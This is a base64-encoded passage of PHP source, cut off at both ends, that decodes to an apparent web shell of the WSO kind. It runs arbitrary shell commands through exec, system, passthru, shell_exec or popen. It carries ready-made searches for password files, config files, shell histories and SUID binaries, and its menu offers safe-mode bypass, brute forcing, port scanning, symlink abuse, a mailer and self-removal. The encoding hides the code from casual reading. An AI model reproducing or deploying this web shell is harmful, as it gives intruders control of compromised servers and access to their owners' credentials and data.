iA9PiAiZGlyIC9zIC93IC9iIGluZGV4LnBocCIsCiAgICAgICAgIkZpbmQgKmNvbmZpZyoucGhwIGluIGN1cnJlbnQgZGlyIiA9PiAiZGlyIC9zIC93IC9iICpjb25maWcqLnBocCIsCiAgICAgICAgIlNob3cgYWN0aXZlIGNvbm5lY3Rpb25zIiA9PiAibmV0c3RhdCAtYW4iLAogICAgICAgICJTaG93IHJ1bm5pbmcgc2VydmljZXMiID0+ICJuZXQgc3RhcnQiLAogICAgICAgICJVc2VyIGFjY291bnRzIiA9PiAibmV0IHVzZXIiLAogICAgICAgICJTaG93IGNvbXB1dGVycyIgPT4gIm5ldCB2aWV3IiwKICAgICAgICAiQVJQIFRhYmxlIiA9PiAiYXJwIC1hIiwKICAgICAgICAiSVAgQ29uZmlndXJhdGlvbiIgPT4gImlwY29uZmlnIC9hbGwiCiAgICApOwp9IGVsc2UgewogICAgJGFsaWFzZXMgPSBhcnJheSgKICAgICAgICAgICJMaXN0IGRpciIgPT4gImxzIC1sYSIsCiAgICAgICAgImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiA9PiAibHNhdHRyIC12YSIsCiAgICAgICAgICAic2hvdyBvcGVuZWQgcG9ydHMiID0+ICJuZXRzdGF0IC1hbiB8IGdyZXAgLWkgbGlzdGVuIiwKICAgICAgICAiRmluZCIgPT4gIiIsCiAgICAgICAgICAiZmluZCBhbGwgc3VpZCBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgImZpbmQgc3VpZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHNnaWQgZmlsZXMiID0+ICJmaW5kIC8gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIHNnaWQgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtcGVybSAtMDIwMDAgLWxzIiwKICAgICAgICAgICJmaW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiLAogICAgICAgICAgImZpbmQgY29uZmlnKiBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiwKICAgICAgICAgICJmaW5kIGNvbmZpZyogZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIsCiAgICAgICAgICAiZmluZCBhbGwgd3JpdGFibGUgZm9sZGVycyBhbmQgZmlsZXMiID0+ICJmaW5kIC8gLXBlcm0gLTIgLWxzIiwKICAgICAgICAgICJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtcGVybSAtMiAtbHMiLAogICAgICAgICAgImZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgc2VydmljZS5wd2QiLAogICAgICAgICAgImZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIsCiAgICAgICAgICAiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiA9PiAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiwKICAgICAgICAgICJmaW5kIC5odHBhc3N3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIsCiAgICAgICAgICAiZmluZCBhbGwgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogICAgICAgICAgImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIgPT4gImZpbmQgLiAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiLAogICAgICAgICAgImZpbmQgYWxsIC5mZXRjaG1haWxyYyBmaWxlcyIgPT4gImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5mZXRjaG1haWxyYyIsCiAgICAgICAgICAiZmluZCAuZmV0Y2htYWlscmMgZmlsZXMgaW4gY3VycmVudCBkaXIiID0+ICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiLAogICAgICAgICJMb2NhdGUiID0+ICIiLAogICAgICAgICAgImxvY2F0ZSBodHRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIGh0dHBkLmNvbmYiLAogICAgICAgICJsb2NhdGUgdmhvc3RzLmNvbmYgZmlsZXMiID0+ICJsb2NhdGUgdmhvc3RzLmNvbmYiLAogICAgICAgICJsb2NhdGUgcHJvZnRwZC5jb25mIGZpbGVzIiA9PiAibG9jYXRlIHByb2Z0cGQuY29uZiIsCiAgICAgICAgImxvY2F0ZSBwc3libmMuY29uZiBmaWxlcyIgPT4gImxvY2F0ZSBwc3libmMuY29uZiIsCiAgICAgICAgImxvY2F0ZSBteS5jb25mIGZpbGVzIiA9PiAibG9jYXRlIG15LmNvbmYiLAogICAgICAgICJsb2NhdGUgYWRtaW4ucGhwIGZpbGVzIiA9PiJsb2NhdGUgYWRtaW4ucGhwIiwKICAgICAgICAibG9jYXRlIGNmZy5waHAgZmlsZXMiID0+ICJsb2NhdGUgY2ZnLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25mLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25mLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGF0IGZpbGVzIiA9PiAibG9jYXRlIGNvbmZpZy5kYXQiLAogICAgICAgICJsb2NhdGUgY29uZmlnLnBocCBmaWxlcyIgPT4gImxvY2F0ZSBjb25maWcucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZy5pbmMgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmluYyIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuaW5jLnBocCIgPT4gImxvY2F0ZSBjb25maWcuaW5jLnBocCIsCiAgICAgICAgImxvY2F0ZSBjb25maWcuZGVmYXVsdC5waHAgZmlsZXMiID0+ICJsb2NhdGUgY29uZmlnLmRlZmF1bHQucGhwIiwKICAgICAgICAibG9jYXRlIGNvbmZpZyogZmlsZXMgIiA9PiAibG9jYXRlIGNvbmZpZyIsCiAgICAgICAgImxvY2F0ZSAuY29uZiBmaWxlcyI9PiJsb2NhdGUgJy5jb25mJyIsCiAgICAgICAgImxvY2F0ZSAucHdkIGZpbGVzIiA9PiAibG9jYXRlICcucHdkJyIsCiAgICAgICAgImxvY2F0ZSAuc3FsIGZpbGVzIiA9PiAibG9jYXRlICcuc3FsJyIsCiAgICAgICAgImxvY2F0ZSAuaHRwYXNzd2QgZmlsZXMiID0+ICJsb2NhdGUgJy5odHBhc3N3ZCciLAogICAgICAgICJsb2NhdGUgLmJhc2hfaGlzdG9yeSBmaWxlcyIgPT4gImxvY2F0ZSAnLmJhc2hfaGlzdG9yeSciLAogICAgICAgICJsb2NhdGUgLm15c3FsX2hpc3RvcnkgZmlsZXMiID0+ICJsb2NhdGUgJy5teXNxbF9oaXN0b3J5JyIsCiAgICAgICAgImxvY2F0ZSAuZmV0Y2htYWlscmMgZmlsZXMiID0+ICJsb2NhdGUgJy5mZXRjaG1haWxyYyciLAogICAgICAgICJsb2NhdGUgYmFja3VwIGZpbGVzIiA9PiAibG9jYXRlIGJhY2t1cCIsCiAgICAgICAgImxvY2F0ZSBkdW1wIGZpbGVzIiA9PiAibG9jYXRlIGR1bXAiLAogICAgICAgICJsb2NhdGUgcHJpdiBmaWxlcyIgPT4gImxvY2F0ZSBwcml2IiAgICAKICAgICk7Cn0KCmZ1bmN0aW9uIGV4KCRpbikgewogICAgJG91dCA9ICcnOwogICAgaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpIHsKICAgICAgICBAZXhlYygkaW4sJG91dCk7CiAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsJG91dCk7CiAgICB9ZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgewogICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgQHBhc3N0aHJ1KCRpbik7CiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBAc3lzdGVtKCRpbik7CiAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgfWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgewogICAgICAgICRvdXQgPSBzaGVsbF9leGVjKCRpbik7CiAgICB9ZWxzZWlmKGlzX3Jlc291cmNlKCRmID0gQHBvcGVuKCRpbiwiciIpKSkgewogICAgICAgICRvdXQgPSAiIjsKICAgICAgICB3aGlsZSghQGZlb2YoJGYpKQogICAgICAgICAgICAkb3V0IC49IGZyZWFkKCRmLDEwMjQpOwogICAgICAgIHBjbG9zZSgkZik7CiAgICB9CiAgICByZXR1cm4gJG91dDsKfQoKZnVuY3Rpb24gd2hpY2goJHApIHsKICAgICRwYXRoID0gZXgoJ3doaWNoICcuJHApOwogICAgaWYoIWVtcHR5KCRwYXRoKSkKICAgICAgICByZXR1cm4gJHBhdGg7CiAgICByZXR1cm4gZmFsc2U7Cn0KICAgIApmdW5jdGlvbiBwcmludEhlYWRlcigpIHsKICAgIGlmKGVtcHR5KCRfUE9TVFsnY2hhcnNldCddKSkKICAgICAgICAkX1BPU1RbJ2NoYXJzZXQnXSA9ICJVVEYtOCI7CiAgICBnbG9iYWwgJGNvbG9yOwogICAgCiAgICBlY2hvICc8aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD0nLiRfUE9TVFsnY2hhcnNldCddLiciPjx0aXRsZT4gJy5WRVJTSU9OLic8L3RpdGxlPgogICAgPHN0eWxlPgogICAgICAgIGJvZHkge2JhY2tncm91bmQtY29sb3I6IzIyMjtjb2xvcjojZmZmO30KICAgICAgICBib2R5LHRkLHRoICAgIHsgZm9udDogOXB0IEx1Y2lkYSxWZXJkYW5hO21hcmdpbjowO3ZlcnRpY2FsLWFsaWduOnRvcDsgfQogICAgICAgIHNwYW4saDEsYSAgICB7IGNvbG9yOicuJGNvbG9yLicgIWltcG9ydGFudDsgfQogICAgICAgIHNwYW4gICAgICAgIHsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxICAgICAgICAgICAgeyBwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTttYXJnaW46MHB4IDAgMCA1cHg7IH0KICAgICAgICBkaXYuY29udGVudCAgICB7IHBhZGRpbmc6IDVweDttYXJnaW46MCA1cHg7YmFja2dyb3VuZDogIzMzMzMzMztib3JkZXItYm90dG9tOjVweCBzb2xpZCAjNDQ0O30KICAgICAgICBhICAgICAgICAgICAgeyB0ZXh0LWRlY29yYXRpb246bm9uZTsgfQogICAgICAgIGE6aG92ZXIgICAgICAgIHsgLypiYWNrZ3JvdW5kOiM1ZTVlNWU7Ki8gfQogICAgICAgIC5tbDEgICAgICAgIHsgYm9yZGVyOjFweCBzb2xpZCAjNDQ0O3BhZGRpbmc6NXB4O21hcmdpbjowO292ZXJmbG93OiBhdXRvOyB9CiAgICAgICAgLmJpZ2FyZWEgICAgeyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDttYXJnaW4tdG9wOjVweDt9CiAgICAgICAgaW5wdXQsIHRleHRhcmVhLCBzZWxlY3QgICAgeyBtYXJnaW46MDtjb2xvcjojMDBmZjAwO2JhY2tncm91bmQtY29sb3I6IzU1NTtib3JkZXI6MXB4IHNvbGlkICcuJGNvbG9yLic7IGZvbnQ6IDlwdCBNb25vc3BhY2UsIkNvdXJpZXIgTmV3IjsgfQogICAgICAgIGlucHV0W3R5cGU9ImJ1dHRvbiJdOmhvdmVyLGlucHV0W3R5cGU9InN1Ym1pdCJdOmhvdmVyIHtiYWNrZ3JvdW5kLWNvbG9yOicuJGNvbG9yLic7Y29sb3I6IzAwMDt9IAogICAgICAgIGZvcm0gICAgICAgIHsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibCAgICB7IHRleHQtYWxpZ246Y2VudGVyOyB9CiAgICAgICAgLnRvb2xzSW5wICAgIHsgd2lkdGg6IDgwJTsgfQogICAgICAgIC5tYWluIHRoICAgIHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNTU1O2ZvbnQtd2VpZ2h0OiBib2xkO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWU7fQogICAgICAgIC5tYWluIHRkLCB0aHt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQogICAgICAgIC5tZW51IHtiYWNrZ3JvdW5kOiAjMzMzO30KICAgICAgICAubWVudSB0aHtwYWRkaW5nOjVweDtmb250LXdlaWdodDpib2xkO30KICAgICAgICAubWVudSB0aDpob3ZlcntiYWNrZ3JvdW5kOiM0NDQ7fQogICAgICAgIC5sMSB7YmFja2dyb3VuZC1jb2xvcjojNDQ0O30KICAgICAgICBwcmUge2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgICAgICAjY290X3RsX2ZpeGVke3Bvc2l0aW9uOmZpeGVkO2JvdHRvbTowcHg7Zm9udC1zaXplOjEycHg7bGVmdDowcHg7cGFkZGluZzo0cHggMDtjbGlwOl90b3A6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsVG9wK2RvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQtdGhpcy5jbGllbnRIZWlnaHQpO19sZWZ0OmV4cHJlc3Npb24oZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LnNjcm9sbExlZnQgKyBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50V2lkdGggLSBvZmZzZXRXaWR0aCk7fQogICAgICAgIC5sb2dvIHt0ZXh0LWFsaWduOmNlbnRlcjtmb250LXNpemU6NjBweDt9CiAgICAgICAgLmxvZ28gc3VwIHtmb250LXNpemU6IDE1cHg7dmVydGljYWwtYWxpZ246IHRvcDttYXJnaW4tbGVmdDogLTE0cHg7fQogICAgICAgIC5jcHIge21hcmdpbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7fQogICAgICAgIC5jcGIge3dpZHRoOjM0cHg7bWFyZ2luOjAgNXB4O30KICAgICAgICAuZWNhMSB7Zm9udC1zaXplOiAxNnB4O2ZvbnQtd2VpZ2h0OiBib2xkO2xldHRlci1zcGFjaW5nOiAxMHB4O21hcmdpbjogMCAycHggMCAxN3B4O3RleHQtYWxpZ246IGNlbnRlcjt9CiAgICAgICAgLmVjYTIge2ZvbnQtc2l6ZTogMTNweDtmb250LXdlaWdodDogYm9sZDtsZXR0ZXItc3BhY2luZzogM3B4O21hcmdpbjogMCAycHggMCA3cHg7dGV4dC1hbGlnbjogY2VudGVyO30KICAgICAgICAubnBvYWQgdGQge3BhZGRpbmc6MDt9CiAgICA8L3N0eWxlPgogICAgPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKICAgICAgICAgICAgaWYoYSAhPSBudWxsKWRvY3VtZW50Lm1mLmEudmFsdWU9YTsKICAgICAgICAgICAgaWYoYyAhPSBudWxsKWRvY3VtZW50Lm1mLmMudmFsdWU9YzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gZyhhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICBkb2N1bWVudC5tZi5zdWJtaXQoKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewogICAgICAgICAgICBzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwogICAgICAgICAgICB2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CiAgICAgICAgICAgIGZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQogICAgICAgICAgICAgICAgcGFyYW1zICs9ICImIitkb2N1bWVudC5tZi5lbGVtZW50c1tpXS5uYW1lKyI9IitlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQubWYuZWxlbWVudHNbaV0udmFsdWUpOwogICAgICAgICAgICBzcigiJy4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXS4nIiwgcGFyYW1zKTsKICAgICAgICB9CiAgICAgICAgZnVuY3Rpb24gc3IodXJsLCBwYXJhbXMpIHsgICAgCiAgICAgICAgICAgIGlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKICAgICAgICAgICAgICAgIHJlcSA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwogICAgICAgICAgICAgICAgcmVxLm9ucmVhZHlzdGF0ZWNoYW5nZSA9IHByb2Nlc3NSZXFDaGFuZ2U7CiAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICByZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKICAgICAgICAgICAgICAgIHJlcS5zZW5kKHBhcmFtcyk7CiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGVsc2UgaWYgKHdpbmRvdy5BY3RpdmVYT2JqZWN0KSB7CiAgICAgICAgICAgICAgICByZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKICAgICAgICAgICAgICAgIGlmIChyZXEpIHsKICAgICAgICAgICAgICAgICAgICByZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKICAgICAgICAgICAgICAgICAgICByZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNldFJlcXVlc3RIZWFkZXIgKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CiAgICAgICAgICAgICAgICAgICAgcmVxLnNlbmQocGFyYW1zKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBmdW5jdGlvbiBwcm9jZXNzUmVxQ2hhbmdlKCkgewogICAgICAgICAgICBpZiggKHJlcS5yZWFkeVN0YXRlID09IDQpICkKICAgICAgICAgICAgICAgIGlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7CiAgICAgICAgICAgICAgICAgICAgLy9hbGVydChyZXEucmVzcG9uc2VUZXh0KTsKICAgICAgICAgICAgICAgICAgICB2YXIgcmVnID0gbmV3IFJlZ0V4cCgiKFxcZCspKFtcXFNcXHNdKikiLCAibSIpOwogICAgICAgICAgICAgICAgICAgIHZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7CiAgICAgICAgICAgICAgICAgICAgZXZhbChhcnJbMl0uc3Vic3RyKDAsIGFyclsxXSkpOwogICAgICAgICAgICAgICAgfSAKICAgICAgICAgICAgICAgIGVsc2UgYWxlcnQoIlJlcXVlc3QgZXJyb3IhIik7CiAgICAgICAgfQogICAgPC9zY3JpcHQ+CiAgICA8aGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDojNDQ0OyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkICM0NDQ7Ij4KICAgIDxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnYSddKT8kX1BPU1RbJ2EnXTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4KICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMiB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydwMiddKT9odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDInXSk6JycpLiciPgogICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ3AzJ10pP2h0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMyddKTonJykuJyI+CiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KICAgIDwvZm9ybT4nOwogICAgJGZyZWVTcGFjZSA9IEBkaXNrZnJlZXNwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiAgICAkdG90YWxTcGFjZSA9ICR0b3RhbFNwYWNlPyR0b3RhbFNwYWNlOjE7CiAgICAkZGlzYWJsZV9mdW5jdGlvbnMgPSBAaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKTsKICAgICRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwogICAgJGtlcm5lbCA9IEBwaHBfdW5hbWUoJ3MnKTsKICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSkgewogICAgICAgICR1c2VyID0gQGdldF9jdXJyZW50X3VzZXIoKTsKICAgICAgICAkdWlkID0gQGdldG15dWlkKCk7CiAgICAgICAgJGdpZCA9IEBnZXRteWdpZCgpOwogICAgICAgICRncm91cCA9ICI/IjsKICAgIH0gZWxzZSB7CiAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsKICAgICAgICAkZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwogICAgICAgICR1c2VyID0gJHVpZFsnbmFtZSddOwogICAgICAgICR1aWQgPSAkdWlkWyd1aWQnXTsKICAgICAgICAkZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiAgICAgICAgJGdpZCA9ICRnaWRbJ2dpZCddOwogICAgfQogICAgJGN3ZF9saW5rcyA9ICcnOwogICAgJHBhdGggPSBleHBsb2RlKCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsKICAgICRuPWNvdW50KCRwYXRoKTsKICAgIGZvcigkaT0wOyRpPCRuLTE7JGkrKykgewogICAgICAgICRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKICAgICAgICBmb3IoJGo9MDskajw9JGk7JGorKykKICAgICAgICAgICAgJGN3ZF9saW5rcyAuPSAkcGF0aFskal0uJy8nOwogICAgICAgICRjd2RfbGlua3MgLj0gIlwiKSc+Ii4kcGF0aFskaV0uIi88L2E+IjsKICAgIH0KICAgICRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOwogICAgJG9wdF9jaGFyc2V0cyA9ICcnOwogICAgZm9yZWFjaCgkY2hhcnNldHMgYXMgJGl0ZW0pCiAgICAgICAgJG9wdF9jaGFyc2V0cyAuPSAnPG9wdGlvbiB2YWx1ZT0iJy4kaXRlbS4nIiAnLigkX1BPU1RbJ2NoYXJzZXQnXT09JGl0ZW0/J3NlbGVjdGVkJzonJykuJz4nLiRpdGVtLic8L29wdGlvbj4nOwogICAgJG0gPSBhcnJheSgnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NxbCc9PidTcWwnLCdQaHAnPT4nUGhwJywnQnlwYXNzJz0+J1NhZmVNb2RlJywnU2FmZSBNb2RlJz0+J0J5cGFzcycsJ1N0cmluZyB0b29scyc9PidTdHJpbmdUb29scycsJ0JydXRlZm9yY2UnPT4nQnJ1dGVmb3JjZScsJ05ldHdvcmsnPT4nTmV0d29yaycsJ1JlYWRhYmxlIERpcnMnPT4nUmVhZGFibGUnLCdQb3J0IFNjYW5uZXInPT4nUG9ydFNjYW5uZXInLCdTeW1saW5rJz0+J1N5bWxpbmsnLCdHZXQgVXNlcic9PidHZXRVc2VyJywnTWFpbGVyJz0+J01haWxlcicsJ0Fib3V0Jz0+J2Fib3V0Jyk7CiAgICBpZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkKICAgICRtWydTZWxmS2lsbCddID0gJ1NlbGZSZW1vdmUnOwogICAgJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiAgICAkbWVudSA9ICcnOwogICAgZm9yZWFjaCgkbSBhcyAkayA9PiAkdikKICAgICAgICAkbWVudSAuPSAnPHRoPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCcnLiR2LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKSI+Jy4kay4nPC9hPjwvdGg+JzsKICAgICRkcml2ZXMgPSAiIjsKICAgIGlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewogICAgICAgIGZvcmVhY2goIHJhbmdlKCdhJywneicpIGFzICRkcml2ZSApewogICAgICAgICAgICBpZiAoaXNfZGlyKCRkcml2ZS4nOlxcJykpCiAgICAgICAgICAgICAgICAkZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7CiAgICAgICAgfQogICAgICAgICRkcml2ZXMgLj0gJzxiciAvPjogJzsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiAgICAgICAgJGRvbWluaW9zID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKICAgICAgICBpZighJGRvbWluaW9zKSB7CiAgICAgICAgICAgICRkMGMgPSAiQ0FOVCBSRUFEIG5hbWVkLmNvbmYiOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21pbmlvcywgJG91dCk7CiAgICAgICAgICAgICRvdXQgPSBzaXplb2YoYXJyYXlfdW5pcXVlKCRvdXRbMV0pKTsKICAgICAgICAgICAgJGQwYyA9ICRvdXQuIiAgRG9tYWlucyI7CiAgICAgICAgfQogICAgfSBlbHNlIHsKICAgICAgICAkZDBjID0gIiAtLS0gIjsKICAgIH0KICAgIGlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKICAgIHsKICAgICAgICAkdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwogICAgICAgIGlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpIHsKICAgICAgICAgICAgJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CiAgICAgICAgICAgIGZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAk